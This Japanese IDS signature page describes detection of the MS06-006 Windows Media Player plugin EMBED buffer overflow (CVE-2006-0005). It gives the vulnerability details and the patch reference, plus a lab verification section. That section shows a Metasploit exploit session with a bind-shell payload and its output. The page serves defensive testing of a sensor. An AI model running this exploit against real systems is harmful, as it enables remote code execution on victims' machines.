項目 |
|
攻撃 |
リモート |
攻撃ポート |
|
対象OS |
Windows |
CVE |
CVE-2006-0005 |
MS |
MS06-006 |
PAM |
|
Windows Media Player Plugin EMBED element buffer overflow (HTML_Embed_Overflow)
このシグネチャまたは脆弱点について
RealSecure Network Sensor、RealSecure Server Sensor:
このシグネチャは、リモート バッファ オーバーフローを許可する特殊な形式の HTML「EMBED」ディレクティブを検出します。
デフォルトの危険度
高危険度
このシグネチャが添付されているセンサー
RealSecure Network Sensor: XPU 24.29 以降、RealSecure Server Sensor: XPU 24.29 以降
影響を受けるシステム
Windows Server: 2003、Windows Server 2003: SP1、Windows XP: SP1、Windows XP: SP2、Windows 2000: SP4
タイプ
不正アクセスの試み
脆弱点の説明
Windows Media Player Plugin は、Microsoft 以外のインターネット ブラウザからさまざまな形式の音楽およびビデオ ファイルを流すために使用されるマルチメディア プレーヤーです。 Microsoft Windows 2000、Windows XP、および Windows Server 2003 対応の Windows Media Player Plugin は、バッファ オーバーフローに対して脆弱です。 リモートの攻撃者は、特殊な形式の EMBED エレメントを含む悪意のある HTML ドキュメントを作成することによってバッファをオーバーフローさせ、被害者の権限を使って被害者のシステム上で任意のコードを実行する可能性があります。 攻撃者は、この悪意のある HTML ドキュメントを Web 上に置き、被害者がそのサイトにアクセスするように仕向けたり、電子メールの添付ファイルとして被害者に送信するなどして、この脆弱点を悪用する可能性があります。
この脆弱点の解決方法
Microsoft Security Bulletin MS06-006 を参照して、システムに適したパッチを適用します。
検証環境
優先度 |
OS |
IP |
Intruder: |
RedHat |
192.168.221.110 |
Victim: |
Windows2000 |
192.168.221.180 |
センサー |
ProvenitaM10 |
XPU1.66 |
実証コード
msf wmp_plugin_ms06_006(win32_bind) > show options
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- -------- ------- -------------------------------------------
required HTTPPORT 8080 The local HTTP listener port
optional HTTPHOST 0.0.0.0 The local HTTP listener host
optional REALHOST External address to use for redirects (NAT)
Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required EXITFUNC process Exit technique: "process", "thread", "seh"
required LPORT 4444 Listening port for bind shell
Target: Automatic - WMP 9.0
msf wmp_plugin_ms06_006(win32_bind) > exploit
[*] Starting Bind Handler.
[*] Waiting for connections to http://192.168.221.110:8080/
[*] Targetting WMP v9 on NT/2000...
[*] HTTP Client connected from 192.168.221.106:30616, sending 699 bytes of payload...
[*] Targetting WMP v9 on NT/2000...
[*] HTTP Client connected from 192.168.221.106:30637, sending 699 bytes of payload...
[*] Exiting Bind Handler.
トレース
イベント一覧
優先度 |
シグネチャ名 |
検知件数 |
High |
HTML_Embed_Overflow |
1 |
イベント詳細
コメント
XPU24.29では、実証コードを実行しても検知していませんでした。しかし、XPU24.30で
HTML_Embed_Overflow の False Negative が解消され、検知できることを確認しました。
参考：http://www.isskk.co.jp/support/XPressUpdates/RS/RSNS7X24_30RNj.html
